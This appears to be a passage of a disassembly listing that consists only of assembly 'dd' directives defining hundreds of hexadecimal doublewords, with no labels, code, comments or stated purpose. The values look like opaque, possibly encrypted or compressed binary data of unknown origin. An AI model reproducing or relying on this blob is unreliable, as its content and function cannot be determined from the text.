		dd 9B4C8EEDh, 0B03E5EBEh, 59AAED04h, 5C0F6FF7h,	2B7EB93Bh
		dd 74E5982Ah, 0C54211C2h, 0C6AED906h, 7E0DCA84h, 8678C451h
		dd 42467C8Ah, 82BD00D4h, 2F5F1581h, 66846110h, 28C25181h
		dd 1F62F77h, 0EFB248E8h, 6432D954h, 6A5E20AAh, 574A88D5h
		dd 24913D94h, 91D92B16h, 995E74B1h, 4338DF80h, 8A75A473h
		dd 7D125F44h, 0F9BD29D9h, 0A528051Fh, 4A605A26h, 0C22DCBFDh
		dd 0C1F867E2h, 0ADEFC9BCh, 0A3FE1B6Eh, 0BA5DFC07h, 8A03281Ch
		dd 407CDCFFh, 337F0DF3h, 5059FFCDh, 746D1FF9h, 60677D8Fh
		dd 30E825A7h, 0D98748Eh, 0E0A3FFh, 4998BE8Dh, 31891847h
		dd 31CA607Bh, 0B114B2BEh, 58581982h, 0B46C55DFh, 0C3F241C5h
		dd 0F8D038CFh, 87EC9E81h, 1E59D61Fh, 63808630h,	0C55DD569h
		dd 79C5EAEAh, 5BF8FE62h, 46FEFCC9h, 4C07893Fh, 46019C7Fh
		dd 92AE47F2h, 0ABD18BDAh, 0E12E11C8h, 0CFF9BDA1h, 0AB2F0A8h
		dd 43F073B3h, 39169573h, 0F6B09D48h, 0FD9A24F4h, 0FB30ED8Eh
		dd 0D9B32781h, 24A142E5h, 9DCAE026h, 766BAE9Ah,	0EC3AAB9Fh
		dd 56FC38CAh, 0D80EB68Ah, 8A62962Dh, 0B1432E8h,	0DEF261B6h
		dd 74657E54h, 0D2E04F9h, 305EDA7Eh, 0E028D262h,	638AB8C4h
		dd 200D4FB1h, 0BA0EF929h, 5294AE0h, 98B232EDh, 65BB4876h
		dd 0F4DBD198h, 4D0F6D11h, 0C6A445D5h, 0BA9F8D3h, 0A96B6E5Bh
		dd 9FFD8C47h, 60B0EDC9h, 8E4C1C58h, 0E6A989B6h,	1A2F9B68h
		dd 348FA1FAh, 68EC3BE6h, 330EE5B9h, 478DECAAh, 0C359978h
		dd 4F33DA2Eh, 0B58C3990h, 230AE9B6h, 13CFADEBh,	0F54DCB57h
		dd 34DE3279h, 0D4843490h, 3C4DAA26h, 0B4D8DB49h, 4F13B494h
		dd 7992CA6Fh, 29B669A2h, 0A5094F34h, 3C2ABD37h,	0D34DB481h
		dd 37A29E7Dh, 3F092C15h, 794788E4h, 0DBA8EA52h,	0C04CF42Bh
		dd 7213C039h, 83F9E226h, 95D83A08h, 2EBCC67Fh, 8C18EBFEh
		dd 793BECE9h, 0C1980042h, 2A9909Ch, 0F176AB6Bh,	7C643D67h
		dd 793BF456h, 3F9841BEh, 0F8447D2h, 7C17844Ch, 12D50FA1h
		dd 0A7D55652h, 1199067Fh, 4BEB9570h, 0BFA459F3h, 84D4DB4h
		dd 1590D34Dh, 0C928EFA7h, 6E3F37B5h, 0D54DE7AEh, 4EE54885h
		dd 0A4DCF14Dh, 5404D780h, 7D1C7E95h, 45181C3Eh,	7FE7DE1Dh
		dd 2B41245Ch, 205C4C09h, 5B4DEB38h, 883098C7h, 58C7B24Eh
		dd 9BC51E70h, 8C05DB9Eh, 1592D34Bh, 0F0C42EA7h,	1B4D1D34h
		dd 53C5DB4Fh, 79970FCAh, 0B565DE9Fh, 0DA7E3666h, 974E30EEh
		dd 0B6E3910Bh, 0DAC434A2h, 0ADAC27ABh, 0A3DB62E8h, 82454D8Fh
		dd 418B0459h, 0A668C64Fh, 0A3CF0440h, 8D2C7C63h, 881BA2A9h
		dd 1F8807BAh, 5DEB1D1Ah, 393A1B4h, 958645E6h, 0D4281829h
		dd 0A84D1216h, 0A531006Dh, 1F9C8FA7h, 0AFB598ADh, 169C4998h
		dd 0DB341966h, 3542D2A6h, 7565F198h, 518B5A09h,	7A79F9C2h
		dd 3530354Fh, 0D501FE4Dh, 3D6FC4F2h, 0F2D1B442h, 574EE8F6h
		dd 17D881A8h, 14817D16h, 16570DADh, 47587A90h, 362444AFh
		dd 4C9DCDB5h, 294E6F5Dh, 749E4541h, 8C4C2A2Dh, 0C4265A21h
		dd 0BA6DEDA9h, 2D10DA9Ch, 1CE2A54Fh, 34DB460Fh,	301D279Dh
		dd 0DD95C29Eh, 0E0E38BBDh, 14C9F5F3h, 0B7960B2Bh, 57B9DD1Ch
		dd 79DD6F5Bh, 967C7B61h, 61661D45h, 5FD1FD03h, 0B1C68D68h
		dd 2A59A3A3h, 6BA35579h, 0CCE3FAC8h, 0A46C0C2Dh, 31942ABCh
		dd 0A8CCC077h, 9896CC3Eh, 0E1F5E34Ch, 77B95C57h, 0A9329896h
		dd 0D1BC09E8h, 0E557A542h, 62756273h, 0E7BE9CCEh, 0CDC2759Fh
		dd 0A4D5626Bh, 0D5843A3Eh, 8ECB721h, 1B3F07A8h,	8FACFF66h
		dd 3F07DB87h, 95F4D0B4h, 47E29F05h, 0B4BE0A0Fh,	0C5D5EBABh
		dd 0B8F0A42Bh, 0F1F5734Ah, 97D148A5h, 0E96588D5h, 1F09B172h
		dd 0C515F42h, 0C0CB6AA1h, 0DE89A525h, 987A1743h, 91BBBEB1h
		dd 0C5C13E02h, 94820F5Eh, 7794C522h, 0C92F7CAAh, 8BE8E77Fh
		dd 6B6AD11Ah, 0A2FAFBAAh, 0ABFE8C2Ch, 0ECBE1E2Dh, 77383054h
		dd 475290D7h, 5E83C894h, 0EB45F071h, 42EAEF6Bh,	16CA72FAh
		dd 804C2FA4h, 897DFD4Dh, 0B44E48D4h, 155E15E4h,	862FE234h
		dd 0E2FA3DD6h, 3896A2E8h, 0A77D496Ah, 97D18011h, 660369FFh
		dd 1F797C5Eh, 885618F8h, 4C8F956Ah, 4C57F4BFh, 7A6CC1C9h
		dd 0E3A6E45h, 0AB9F8B91h, 663BFA24h, 6E7FCB45h,	4D644157h
		dd 7CA54682h, 7F113505h, 791E96D4h, 7947D9D6h, 2D475FEAh
		dd 4DB674BDh, 14E5F195h
		dd 61477F05h, 43E795E0h, 42815A85h, 15D653C0h, 0A5FE0B85h
		dd 595798BAh, 0AA2F5126h, 0BF023B46h, 59883E4h,	0A95E23BBh
		dd 8886064Fh, 0BE5576D5h, 62D87760h, 43BB86C0h,	314A1548h
		dd 94B8088Ah, 0FCA2ACA6h, 88C2ABE1h, 4983AB85h,	6C952130h
		dd 1623FFB1h, 0AC3C3347h, 0C0328E89h, 29AE8F29h, 0C975895Bh
		dd 0F5987301h, 7FB45579h, 0AED021D1h, 0A2E8D422h, 0A26182CBh
		dd 81E299CFh, 0CD22ED2Eh, 0E23B0201h, 0F36661h,	0ECB88D26h
		dd 0E2C001A4h, 118A473Bh, 0D8CD029Eh, 58318015h, 77C5477Ch
		dd 0B77C827Ch, 33F18014h, 89C65818h, 0E09FA165h, 1E770739h
		dd 18951850h, 5D6DC583h, 63BB47F9h, 0A6702301h,	70374AA8h
		dd 6F9263B3h, 0E8E5D6C7h, 3DEB73h, 15F80599h, 89E4DCE0h
		dd 3EA2C86Ch, 0C08E381h, 2D0660h, 0B4ABAEAh, 6D946467h
		dd 401AC340h, 4026796Ch, 6D7D50F9h, 100C5911h, 774895E8h
		dd 0DB2A61EDh, 0A918E603h, 7A084F68h, 63582AC2h, 0A25845E0h
		dd 0A0120C4Bh, 3E0AB04Bh, 4436068h, 4AE06074h, 64BFE003h
		dd 0E6CE380h, 768CDDACh, 8BE6521Ch, 5FC471F6h, 80B90496h
		dd 7635A9A4h, 4ED17C1Bh, 96A4B89Ch, 97AE6C08h, 0AE6FAA0h
		dd 0C92AF8D0h, 6159034Ah, 181C11E3h, 32691F48h,	2A1E6493h
		dd 0CA7C4058h, 87C92F94h, 45B1936Bh, 0FE5E1187h, 0C61860AEh
		dd 0ABFBE82Bh, 0BBDC7E51h, 8866EC9h, 517B74D2h,	0DC96DD2Ch
		dd 0C2CE324Ch, 498A0480h, 1E008D68h, 0CFDE6F1Ch, 0F1415655h
		dd 0D770BACBh, 34076ABh, 0DBBC1B0h, 282E6192h, 6A374226h
		dd 0C10AF10Ch, 1DCAE4Ch, 0E6608C0Dh, 0D09E6580h, 0A3A018h
		dd 0CCC570B6h, 0A1641A0Bh, 743286CAh, 9A83498Eh, 0CC980E70h
		dd 11D26DCBh, 8D386A5Bh, 0C919D89Bh, 0C9E200ECh, 1F93857Fh
		dd 82C561CDh, 1121421Fh, 2300025Eh, 21EB5CACh, 781D5A2h
		dd 0D3037DE0h, 0EC2482B8h, 968600D4h, 38A1EE85h, 9A91C8A2h
		dd 1225C231h, 0DB1A00F0h, 0F72EFCA0h, 1FEEA9Dh,	0E80E8383h
		dd 4A312C2Bh, 65A33643h, 7A316981h, 0F213AF15h,	27CA1A7Bh
		dd 0EB996892h, 0A10C16ECh, 0E26B528Dh, 0BF579E38h, 14DE287Ah
		dd 0E6C1D5FAh, 0F38A9B22h, 15514A0Dh, 0B9CE8A95h, 8568D65Eh
		dd 0B032950Bh, 0CD18A2ACh, 5D71FB6Dh, 7B0899F0h, 5127797h
		dd 9C4F455Ch, 0D13F0C4Fh, 0A5D66EFBh, 0CAB74417h, 4406F82Ah
		dd 0C0972A22h, 8290EB50h, 8DB5862Eh, 0E8BFAB5Ch, 57E0EE71h
		dd 725D4042h, 9FAEA0B2h, 0E3C86A17h, 9805DC82h,	6F82AF2Fh
		dd 1BF09884h, 0B15926B1h, 68492059h, 0EE32815Dh, 908A7193h
		dd 12F37673h, 0EBA4D896h, 0A2CD8099h, 62553130h, 63EF557Ch
		dd 0FDCCE588h, 0AE633760h, 5F8D3312h, 29A15159h, 0D68B7C8Ah
		dd 0D16532F1h, 39DDA97Fh, 0A6FC5ECFh, 0E5F8818Ch, 0BE5E2CC0h
		dd 0E2BE57CBh, 27FCEDC8h, 218566F3h, 0EDBC7819h, 434158D0h
		dd 632E7579h, 5D789E57h, 0E33EFE20h, 160FE845h,	28B6B479h
		dd 7E5691FBh, 5B9199F5h, 0B547E774h, 86A283B4h,	698C2D1Ch
		dd 0E639258Fh, 3D5A4CD0h, 5AD87416h, 68C120AAh,	1CA4CF12h
		dd 0CC15952h, 696D8848h, 5D2917D2h, 3AB2A51Dh, 266B5481h
		dd 0E460667Bh, 0C8F2CA65h, 3B819543h, 0C1A1970Ah, 813F60AFh
		dd 4E834881h, 38859108h, 1BFB2A2Dh, 0E2804A2Ch,	0ACA0014h
		dd 0C25C3344h, 68C6ECB3h, 0E0DDEE90h, 0C5531630h, 8A443101h
		dd 35E27E98h, 369149FFh, 0E92B0FA1h, 0F93C4A04h, 35E89FAFh
		dd 1DBE8ABAh, 0FA8E0893h, 0DCF559DBh, 0EAAA1439h, 73926E33h
		dd 0CA8E01B4h, 0B8AFAF9Bh, 696EACC9h, 0C4CB9682h, 0C0950BE2h
		dd 4356C17Ah, 2A5288A2h, 79801540h, 1AF78700h, 0AA86D276h
		dd 998D58CAh, 7E0E74C0h, 2DB5A241h, 16F3B999h, 2962B45Fh
		dd 2DE428C7h, 0CD9A22BAh, 2F8FBCBAh, 5CC1470Fh,	0E8E392C1h
		dd 4C7534E0h, 7B1C161Dh, 143B29D2h, 5C78509Ch, 2C408DD2h
		dd 5D86281Bh, 98EE37D1h, 3AC28C34h, 0FC21400Ah,	18A6F290h
		dd 0D6162576h, 0EA380619h, 0C6A8131Ah, 9A0EF3B8h, 52B8C102h
		dd 8C175BA9h, 3BF6A1DDh, 0DD98A2ABh, 0DCCD180h,	524821C7h
		dd 35538631h, 631C1394h, 3BF56FF8h, 959E9022h, 0A93C9A96h
		dd 5D68C67Fh, 6B95C3D6h, 759C079Bh, 0C38DCB92h,	450E7148h
		dd 2A98FF53h, 0E3064C87h, 0D4FD263Ah, 651D9175h, 0E5D2A0A7h
		dd 5355EF5Eh, 377C6B71h, 9F7947D4h, 95078A5Ah, 39F57ABFh
		dd 74C2D450h, 0F571172Eh, 74CA9650h, 0E6319232h, 2603D9FEh
		dd 0FB29495h, 0BD13C2F8h, 482F4AFDh, 5695F604h,	8734010h
		dd 78AA236Ch, 0EACBEF62h, 95396EB8h, 0E968E2Ah,	0CC30135Fh
		dd 782368E6h, 56F7F88Eh, 50525551h, 0F8B75255h,	4ABF9953h
		dd 8EA81A84h, 0E4EFE495h, 8E4CF4CBh, 0D3CC4232h, 0B0D748D2h
		dd 97CE0758h, 743451EAh, 9B46E4B4h, 0DD662A54h,	6F1F1D67h
		dd 9D382633h, 0E3FA6544h, 0CC073D26h, 0CADCD5DBh, 54FBB2F8h
		dd 0FD68B603h, 0F8DBA4C8h, 345781AAh, 278B27D1h, 0BBE38FAFh
		dd 5BAD4509h, 2E7228A3h, 557CC8E7h, 0F0500B76h,	26734113h
		dd 34418DEh, 980E688Ch,	2E66983Ch, 6C11983h, 6184B4BBh
		dd 9D87B8D2h, 38C0601Ah, 9053DCEh, 0DBBC705Fh, 74E2568Bh
		dd 36A85D84h, 26DD7AF9h, 89011E2Ch, 0C05395DAh,	8A3534EBh
		dd 0BD508B80h, 4451048Eh, 9F0562ACh, 9E656639h,	0EC660775h
		dd 0D16407B9h, 57E7E4D2h, 0D4CE650h, 73C99137h,	0AB59284Bh
		dd 0F5814220h, 28E04431h, 3068DE62h, 8FEA3D2Fh,	5B956F59h
		dd 0E675E421h, 0E3E1D3BFh, 8E391E04h, 0FD36758Bh, 0BA273C6Fh
		dd 73480FA9h, 0EE1AC180h, 8C5DFAC8h, 0FA9B4C30h, 9E111BE0h
		dd 49D8A302h, 0A5FB7300h, 63EA983Eh, 93288C12h,	0A8DC5FA1h
		dd 0CF36E061h, 0DA6118C0h, 4EC61262h, 0CEBDF537h, 7D6B11Eh
		dd 57ABD15Fh, 0DD217674h, 27736480h, 0F692CBE8h, 34C52436h
		dd 6E63CA4Eh, 1A853012h, 0E2E80D6Ah, 50C5C5Fh, 0BBCA8AEDh
		dd 0F77B17DEh, 0DCFB82D9h, 4D7F9B65h, 460A1373h, 0C2A4418Dh
		dd 30313AA2h, 4126CBABh, 0F0C2D39Bh, 26235F9Bh,	7E114229h
		dd 0F9192FCBh, 55EDCDECh, 6AFC83B6h, 0C9DF5BDh,	85EC6736h
		dd 5A8B21D7h, 3C2862F5h, 0F5F8B862h, 0BAEFE88h,	0B90077CEh
		dd 62CFCBF8h, 16A989B8h, 0A303E609h, 2D16316Bh,	0F8464B4Eh
		dd 0D6F9C62Dh, 0F7B6D8B4h, 49F2278Eh, 37A9B6E1h, 0D4A87FE0h
		dd 0E6299FE4h, 5CA67F91h, 6DFC79CEh, 0AB167F93h, 6BE50982h
		dd 895625EEh, 8718C398h, 124F7F0Dh, 0CAA23ADh, 0D6BE5AAAh
		dd 0E5B705FAh, 7EA553DAh, 958DA55h, 0A5DD27FEh,	6E931DB7h
		dd 149C53B5h, 2EB40161h, 0AF376B40h, 116F55A5h,	0FD249E52h
		dd 0BFC55E8Dh, 947FCE62h, 0E525D6A3h, 0CADFCC25h, 0F27B966Fh
		dd 3716F0DFh, 0E28E4776h, 0FCEFFA7Ah, 0ADFBA9A5h, 0B97016DCh
		dd 3052B604h, 0B5428ABBh, 0F666A9FCh, 0DA519F11h, 3F0FB39Eh
		dd 0ACB66DEDh, 398BF9AEh, 0DF8BCD6Ah, 5D416FCBh, 9B624412h
		dd 5AA8754Ch, 0D0FC4EF0h, 5F1BA4E9h, 78A92689h,	0C943A452h
		dd 0FD2BA031h, 770012A4h, 0BE0B476Ch, 270212D2h, 0C3FF0346h
		dd 44767C73h, 1EFE41FAh, 0E0EADA78h, 0D779C8E6h, 724C232Fh
		dd 0C8BE4BBFh, 0FE1AF75h, 2FD66663h, 1CFC445h, 32CE1371h
		dd 744313E2h, 1A8B9D07h, 1CD7B143h, 79D15A3Ah, 529BDC3Eh
		dd 0C6DD8C51h, 10455CE1h, 9F7018EAh, 0FF0B413Bh, 2063D259h
		dd 0E977A7B0h, 8A7B0857h
		dd 82A88361h, 9F4501A4h, 0D6108432h, 0BC5EC81Bh, 54EFE7D2h
		dd 3BD50C87h, 122F16F8h, 738C5A8Ch, 7D0F3BD6h, 1B8E11FFh
		dd 68AB436Dh, 99956B0Bh, 5C90A52Bh, 80071B44h, 0E8260E0Eh
		dd 0F4563D8Ah, 0B5B4A185h, 34657B83h, 882E6918h, 1017C16Ah
		dd 58884D84h, 0D9A53997h, 0B03B1205h, 543AB62h,	40D160D3h
		dd 1450CC9Ah, 245AEE11h, 6983EA50h, 29800C84h, 57CA4520h
		dd 18052D19h, 0D684C5Eh, 7AB9A2AAh, 0F031CE31h,	112DBA46h
		dd 2BF66D86h, 0E211906h, 8A2A8607h, 0DE451BE8h,	1A8F206h
		dd 34E91DE4h, 6090DD6h,	0C1F2A298h, 8B269C54h, 2C16BCBEh
		dd 32144398h, 0F43489E8h, 26097605h, 0B9E8134h,	2FA39026h
		dd 0BA738CB0h, 110B05C3h, 76D1AA53h, 0ED7E288Dh, 0DC321F8Bh
		dd 3ECF5FE7h, 0C0A27827h, 63025FACh, 92562CB8h,	0E3A92CEBh
		dd 0A1D27132h, 0E212EE54h, 0AB334EC0h, 2B5DE063h, 0ED829C28h
		dd 2EC61830h, 9A473976h, 30E7E249h, 595F3F4Ch, 2F4B56A3h
		dd 7AEC61CBh, 8C6E39AEh, 4F628C17h, 0E0019375h,	9E30FD3Ah
		dd 9009B8C5h, 0BA8080F4h, 0C8FF77B4h, 0B322773Bh, 2BE630CDh
		dd 4628BC4Fh, 0C4E6519Fh, 0D18D322Ah, 9F400C6h,	0F5226CDDh
		dd 0C2366D88h, 8314294h, 94C26EF9h, 3A15D9E2h, 25759648h
		dd 0EC2F7B47h, 0EDE42CDCh, 0FF17F1DAh, 0C8DB5764h, 0B0C9710Fh
		dd 8B2E366Ch, 77C66A3Fh, 4FCA3B71h, 13374BDh, 0F30C7C6h
		dd 0BD284E10h, 0D5741A2Dh, 60391C86h, 9E45CEDCh, 3F2F15D2h
		dd 0F5B1CFDBh, 3123A5BCh, 0A0308437h, 0B3F8DEB7h, 0A6B3B3A6h
		dd 6FD8B645h, 29CBF88Fh, 0B3C40DC6h, 391C57F5h,	0A9660536h
		dd 0E82A55D2h, 2991838Fh, 4C5D773Fh, 0A9C50B4Bh, 740FD8FCh
		dd 0E27469CAh, 0EA71B969h, 3A0E1673h, 51453CFCh, 18618B7Eh
		dd 0D687EE87h, 0C58996ADh, 5404CF1Fh, 0E44E186Ah, 7A9ACFD2h
		dd 142ADDD8h, 0AEF0A8Ch, 0A9CC2CDCh, 17A012B3h,	5C25A01Bh
		dd 92B24C95h, 0C0E81BD8h, 8400548Bh, 4B73ABB0h,	0FE8BD2ABh
		dd 603021C8h, 0A02A2D0Ah, 0E23481BEh, 9E81995Fh, 60966984h
		dd 124C2175h, 8D8080A6h, 4D848530h, 0ADAB86h, 0C61DF86Eh
		dd 7981D6B5h, 62B0C60Ch, 0E564C4A7h, 448B960h, 51B7DCDAh
		dd 818E1862h, 0D2E20971h, 549B0380h, 55C855DCh,	5061FDFAh
		dd 4CE8994Ch, 0F35E202h, 0D66C619Dh, 97517EC7h,	0EE220C5Ch
		dd 1CE7A5EEh, 0AF895A2Fh, 165C8309h, 4BAD778Fh,	0C1B21FA3h
		dd 22CBEC2Ch, 0E750A306h, 795DB940h, 97EE5888h,	0D6571BE9h
		dd 115DBAC2h, 0D2ABEE44h, 0AA83E326h, 0DE9025C8h, 0B30EDB3Ah
		dd 65C4EF36h, 0DEEDE2AAh, 3DE2781Bh, 0A5690958h, 2742F1A3h
		dd 0E0DCE4FAh, 0B9541146h, 0D6FA9A8Dh, 0B3CD268Ch, 28263ADCh
		dd 0E01B246Fh, 130CE7D1h, 931A4581h, 4138BA3Dh,	13776B30h
		dd 41D66830h, 8803698Bh, 1236C3F2h, 3CDC4CD4h, 21972837h
		dd 0FB7E1B9Ah, 91C54FB0h, 0EF469571h, 4496B036h, 0B023D782h
		dd 62C34048h, 2E5D77E4h, 0EE54AC46h, 4CAE7989h,	4B5CD15Fh
		dd 5D2FA02Bh, 48ABCA03h, 6A036A0Ch, 3318CC06h, 1CD45CBAh
		dd 0C23026C4h, 3E531F31h, 4C50FCA3h, 89A43807h,	1D2D8305h
		dd 9AD54F98h, 0E60C11E9h, 59F5CBD0h, 0F12DF297h, 11D8C416h
		dd 487AAEB0h, 0CD38FB33h, 5C06EF2Ch, 0F846B650h, 526F8349h
		dd 0ED226092h, 28199AA5h, 0E05D580Dh, 8D0D32A0h, 3141DA25h
		dd 2334AB44h, 0A9127ED5h, 0B873C9Ch, 713033E9h,	7B93F100h
		dd 0B3957D21h, 99570864h, 0E3ACD075h, 0E3214549h, 0D6716CBEh
		dd 277FA671h, 0CAEAED02h, 35BF5A06h, 0D1183BAEh, 886DA7A0h
		dd 2FDC6549h, 81DEA38Ch, 0A1DFACAh, 50A5CABBh, 14E63457h
		dd 4631519Ah, 54576C15h, 4555947Fh, 6088502Ch, 9FF0AE74h
		dd 0A28CF5D6h, 0AE289BD8h, 12B388B6h, 8D3EC9CCh, 12B802C2h
		dd 6CA2FF6h, 0FAD22C2Ch, 0C8443E78h, 0C39DD4BAh, 0CEF0BAC7h
		dd 0E43D4442h, 2C091A2Eh, 14203809h, 0B211CFA9h, 378B12AEh
		dd 0C82AF740h, 4E612FF6h, 0E41BA81Dh, 0BEE094CAh, 0E4FA5D6h
		dd 1BCDE34h, 0E622B8AEh, 44F55D14h, 0E2471657h,	5DFF0C2Fh
		dd 1C4D81BAh, 0A2232C68h, 0B31E2229h, 10FB86EAh, 7E1FA5A2h
		dd 0CB508BBEh, 146C491h, 0F718C6C4h, 25E40A6Dh,	7111B715h
		dd 31FFE62h, 0E453A1BBh, 88EAA211h, 0FAC1E084h,	5751BA93h
		dd 0E0B3E926h, 0E97DF47Bh, 130B8A02h, 55A38308h, 70EDA30Fh
		dd 4D1149CEh, 0EF7876CEh, 7FB76922h, 1FC41904h,	831A773Ah
		dd 50E774C5h, 15538829h, 4BCCA255h, 71AF037Bh, 240257D8h
		dd 4C78AEAh, 0FD22DC9Fh, 0C5E150DBh, 0BFB03DF8h, 0F2F04299h
		dd 0BE1A0782h, 8C03EFDEh, 0EF484C30h, 29D34E2Dh, 0A7F19E7Bh
		dd 0DA3C030Ch, 8250D84Fh, 6230C0F3h, 189EA9Bh, 8E6F468Bh
		dd 8BFF973Ch, 8B0B4208h, 35BA3D49h, 0C3F67533h,	4A6628E5h
		dd 0FE238803h, 0A6666942h, 5A998064h, 8CCAD45Fh, 42FE8330h
		dd 5EDA6619h, 30802294h, 0DC4798C3h, 980A8093h,	0A61B14CAh
		dd 0B981D4CAh, 62A8860Bh, 0C02CC49Eh, 6BBEBEC5h, 0C4B8FDA4h
		dd 1C00496h, 298FC091h,	0FC9A594Fh, 201E2553h, 0F81204F6h
		dd 37DA0D04h, 495D77C7h, 20A0D01Ah, 648C5026h, 81132CF4h
		dd 59748A32h, 17642F51h, 6456FDA2h, 46637F34h, 0F65CEB71h
		dd 6F73AC80h, 3379BA8Eh, 0A35966CAh, 97C680FDh,	0C2300C26h
		dd 470175B0h, 8C03372Eh, 8F23751Ah, 0E523E51Ah,	0CC264EA9h
		dd 0A11EE47Fh, 9ABF228Dh, 3FAA672Fh, 8967A40Dh,	47F84418h
		dd 9B572097h, 0F139D1C8h, 20D4CCADh, 0C4FCD90h,	0B9DC2C03h
		dd 0A450E35Bh, 0BADE722h, 965223Ah, 4A976CBEh, 0D0C475FEh
		dd 0A9A7A8E9h, 11E0F975h, 0BFC93087h, 0E78BC0E7h, 0A7026E6Ch
		dd 4B69D46Ah, 4B4606E8h, 0E8AAFC47h, 56D7D39Eh,	98E5E8FAh
		dd 0D660F151h, 0AF7954BBh, 26953451h, 0C0D39E83h, 0CE62AA24h
		dd 4AC436C5h, 7DDFA1B2h, 80DB02C0h, 873B6D3Bh, 3081D8C3h
		dd 3C75E615h, 231215D8h, 0C363568Dh, 747D5E4Fh,	353B0905h
		dd 6883745Ah, 0F24D7FD4h, 3A19078Ch, 97B89E94h,	0C1B66C06h
		dd 4FE2B766h, 6A3A0394h, 0F5FEFA46h, 4E670481h,	0A950CCFDh
		dd 56DE3D14h, 0D896196Fh, 7F554092h, 1F064EA2h,	729CF610h
		dd 31493588h, 0C7FB7DFh, 579E5213h, 6CA85DABh, 0EACD4D72h
		dd 18311228h, 4FA0A654h, 0BFDE72D0h, 76A7EF8Fh,	82ACBAF3h
		dd 4ECFA9B1h, 0CA48C1AAh, 0D1840DB5h, 7AE4C1E3h, 3CB05688h
		dd 2DAC4C12h, 0BBD73245h, 0B5C41238h, 1DD30F3Bh, 0A22B8D9h
		dd 5DD5D6ACh, 778C9798h, 0DC719291h, 753B1595h,	885FE0Bh
		dd 0D58C8F3Eh, 69EE954Fh, 0CCC129DCh, 959D9B20h, 0F2D27F65h
		dd 0CA9FDB20h, 2D20FE85h, 45DC4534h, 4D0BC8DFh,	0C79B7AB9h
		dd 80873E88h, 10F259E0h, 81802AA1h, 0DF9FAF96h,	1344E833h
		dd 2176437Ch, 0DE9B957Eh, 808EEE33h, 5BA63452h,	1FC1D66Ch
		dd 3BF10886h, 0CA071054h, 0EAFEC65Fh, 21FBF536h, 19ABD828h
		dd 688D7C2Dh, 0ED09D808h, 283862E3h, 8505A061h,	71571F0Eh
		dd 28A7D201h, 5CA7EB1Dh, 0CEEA2177h, 7A214568h,	0A95F555Dh
		dd 704AC704h, 0B4E8E2E8h, 31264A01h, 346578B2h,	15760086h
		dd 0AE91A77Ch, 72694B2Eh, 0B776DF3Eh, 5112FD1Dh, 64065459h
		dd 0D4706700h, 0F63276B5h, 28D106F9h, 0C774B33h, 0F636582Ah
		dd 0C8A3260Dh, 5FD1E66Dh, 65480D0Bh, 0D73A96h, 0EA51459Ch
		dd 45C9316Ah, 808B37F5h
		dd 0EA214BEBh, 0E71A928Fh, 8B7F7556h, 0CBEDC6BEh, 0CF460253h
		dd 0EC53B15Dh, 0F659545Dh, 0ADB92127h, 534C5AEEh, 0BCC59653h
		dd 8EE32D8Ah, 0CB6ED3D6h, 1B71272Ah, 460704B0h,	2BB701A8h
		dd 5616BDF9h, 0F31644A7h, 5DA2B6C4h, 0BE8CD2FDh, 0B01BDAF8h
		dd 0D186629Dh, 8AD15B58h, 17287340h, 0AF4A85B5h, 3CEB0DA0h
		dd 1A9516D4h, 8820F89Bh, 6F60E41Ch, 1C569B4h, 208B06Dh
		dd 0D552E0BDh, 8CA8BA3Ch, 0D06A2EF2h, 0D1250C8Bh, 193D7B2Eh
		dd 4723B760h, 11AC050Fh, 47D60B73h, 0F2221812h,	30AEC6BEh
		dd 0A2D8164Ch, 8110F2EAh, 84DCD7E7h, 0F7F2B261h, 935922A5h
		dd 0F1A5BBCAh, 410952Ah, 0F6254311h, 87A4703Ah,	0DC020649h
		dd 179884A1h, 0CFC565FEh, 108CEAFDh, 123DC242h,	92FC338h
		dd 4B708026h, 421882EEh, 0A7F24897h, 4D01B657h,	0C0BB0B10h
		dd 3F6F14D6h, 2D930F04h, 41138083h, 9271B017h, 4FE596CCh
		dd 4345D147h, 0DA2FA361h, 0E5D3A40Bh, 86523B7Eh, 0DD2BA2EAh
		dd 0A15F3EE4h, 654A19F9h, 1CB54241h, 87518DBBh,	0D183DCF7h
		dd 0FC77D217h, 0FA4C182Ch, 0E8451284h, 3E13D7F9h, 0BE416013h
		dd 3C60B0F0h, 0AE91D7F2h, 64FC1D95h, 0A2A384AFh, 620DC437h
		dd 4DE8B714h, 1CBB4773h, 2C8B3B18h, 3AEFCC17h, 3BB03762h
		dd 0EF69851Ah, 0D506C8B3h, 0A6CDD8EBh, 30221BE8h, 32E7044Eh
		dd 0FB6FBB70h, 5D6982CAh, 40C2DECh, 2A775D02h, 0B477E509h
		dd 0A474294Ch, 0D5833A2Bh, 0CC279085h, 376E9C6Eh, 56745672h
		dd 3243D2B1h, 2AB25101h, 0A843C29Ch, 0D01EB71Bh, 0F22CF33Dh
		dd 0A6748498h, 0DAEA6DE2h, 19E0DDA8h, 54FD9E7Bh, 0CB580694h
		dd 5851C589h, 9C6071D0h, 38D6F724h, 9AD83E5Eh, 0E37D5E40h
		dd 4756EAD8h, 7F10199Ah, 749BC531h, 8BC520Bh, 36CA80CCh
		dd 0D8AEC59Bh, 0C296745Dh, 0A277218h, 0B421DE04h, 0E0B24697h
		dd 0BAE9D5AEh, 98E24552h, 8293557Ch, 0FAC5D9Bh,	0D4477678h
		dd 0F141E63Dh, 1CD565B4h, 3A9FC73Bh, 0BDAB4223h, 9A92C4DBh
		dd 0E9A2C587h, 38C71108h, 0FF23760Fh, 2629E97Ch, 4C4238CBh
		dd 60177B1Fh, 7DCDD712h, 6647B676h, 0A79F7998h,	0EAF76FA1h
		dd 0ED4BC442h, 0D3CFBFDDh, 0C072B764h, 5501E268h, 62EE3F66h
		dd 35CE5EFBh, 4B7BC38h,	51C41D8Bh, 206AD488h, 5B069202h
		dd 0C8CCC581h, 0C1B003B3h, 272C2A28h, 1101FE8Fh, 8B05F323h
		dd 51BE7468h, 76047981h, 0E656BBDAh, 2303459Fh,	63490A2Ah
		dd 0CC58F63Dh, 0C5CD182Dh, 603E91C0h, 4256F4BBh, 3574174Ah
		dd 0B27823Dh, 0A48AD8A6h, 5202F0E8h, 752FB23Dh,	15A74E60h
		dd 0F045C749h, 201C00C5h, 0F458C942h, 6889118Eh, 0C3C91872h
		dd 9938E060h, 8A77624Fh, 0FACCEB83h, 76C41167h,	0F07C064Eh
		dd 94307343h, 13C9106Fh, 9946506Dh, 6313423Dh, 3D719A26h
		dd 2659C9A2h, 623D4696h, 0A29213C9h, 68F14949h,	0A3C279FBh
		dd 0D01B8079h, 0E7E99891h, 80C30309h, 442E1006h, 513879FBh
		dd 968E5D19h, 0CD3042E8h, 65A1A31Eh, 9B06553Ah,	0D38498D0h
